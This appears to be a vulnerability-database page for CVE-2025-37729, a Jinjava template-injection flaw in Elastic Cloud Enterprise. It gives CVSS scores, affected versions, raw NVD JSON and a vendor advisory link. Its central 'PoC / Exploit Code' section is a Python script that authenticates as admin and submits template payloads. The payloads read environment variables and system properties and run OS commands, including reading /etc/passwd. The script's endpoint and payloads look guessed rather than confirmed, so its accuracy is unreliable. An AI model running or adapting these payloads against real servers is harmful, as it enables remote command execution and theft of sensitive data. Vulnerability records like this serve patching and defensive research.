Security Vulnerability Report
中文
CVE-2025-37729 CVSS 9.1 CRITICAL

CVE-2025-37729

Published: 2025-10-13 14:15:35
Last Modified: 2025-12-11 20:59:07

Description

Improper neutralization of special elements used in a template engine in Elastic Cloud Enterprise (ECE) can lead to a malicious actor with Admin access exfiltrating sensitive information and issuing commands via a specially crafted string where Jinjava variables are evaluated.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
Elastic Cloud Enterprise (ECE) < 3.8.2
Elastic Cloud Enterprise (ECE) 4.x < 4.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37729 PoC - Elastic Cloud Enterprise Jinjava SSTI # Vulnerability: Server-Side Template Injection via Jinjava template engine # Requirements: Admin access to ECE management console import requests import json # Configuration ECE_URL = "https://ece-admin.example.com" ADMIN_USER = "admin" ADMIN_PASS = "admin_password" # Step 1: Authenticate as admin session = requests.Session() login_data = { "username": ADMIN_USER, "password": ADMIN_PASS } session.post(f"{ECE_URL}/api/v1/auth/login", json=login_data) # Step 2: Inject Jinjava template expression in a user-controlled field # Jinjava expressions are evaluated server-side when the template is rendered # Example payloads: # Payload 1: Read system environment variables (information disclosure) payload_env = "{{ System.getenv() }}" # Payload 2: Read system properties payload_props = "{{ System.getProperties() }}" # Payload 3: Execute OS commands via Runtime payload_rce = "{{ Runtime.getRuntime().exec('id') }}" # Payload 4: Access classloader to read sensitive files payload_classloader = "{{ Class.forName('java.lang.Runtime').getMethod('exec', String.class).invoke(Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'cat /etc/passwd') }}" # Step 3: Submit the malicious payload via an ECE API endpoint that renders templates # (e.g., deployment configuration, platform configuration, etc.) target_endpoint = f"{ECE_URL}/api/v1/platform/configuration/templates" headers = {"Content-Type": "application/json"} malicious_payload = { "name": "malicious_template", "description": payload_env, # Jinjava expression injected here "template_data": payload_rce } response = session.post(target_endpoint, headers=headers, json=malicious_payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: The server evaluates the Jinjava expression and returns the result # Exfiltrating sensitive information or executing commands on the ECE server

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37729", "sourceIdentifier": "[email protected]", "published": "2025-10-13T14:15:34.533", "lastModified": "2025-12-11T20:59:06.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a template engine in Elastic Cloud Enterprise (ECE) can lead to a malicious actor with Admin access exfiltrating sensitive information and issuing commands via a specially crafted string where Jinjava variables are evaluated."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.5.0", "versionEndExcluding": "3.8.2", "matchCriteriaId": "7184A309-53BE-46FF-9DAD-AA4E2ADF7018"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elastic_cloud_enterprise:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.2", "matchCriteriaId": "838A523B-4022-4D37-B757-8C4AF6C30546"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elastic-cloud-enterprise-ece-3-8-2-and-4-0-2-security-update-esa-2025-21/382641", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}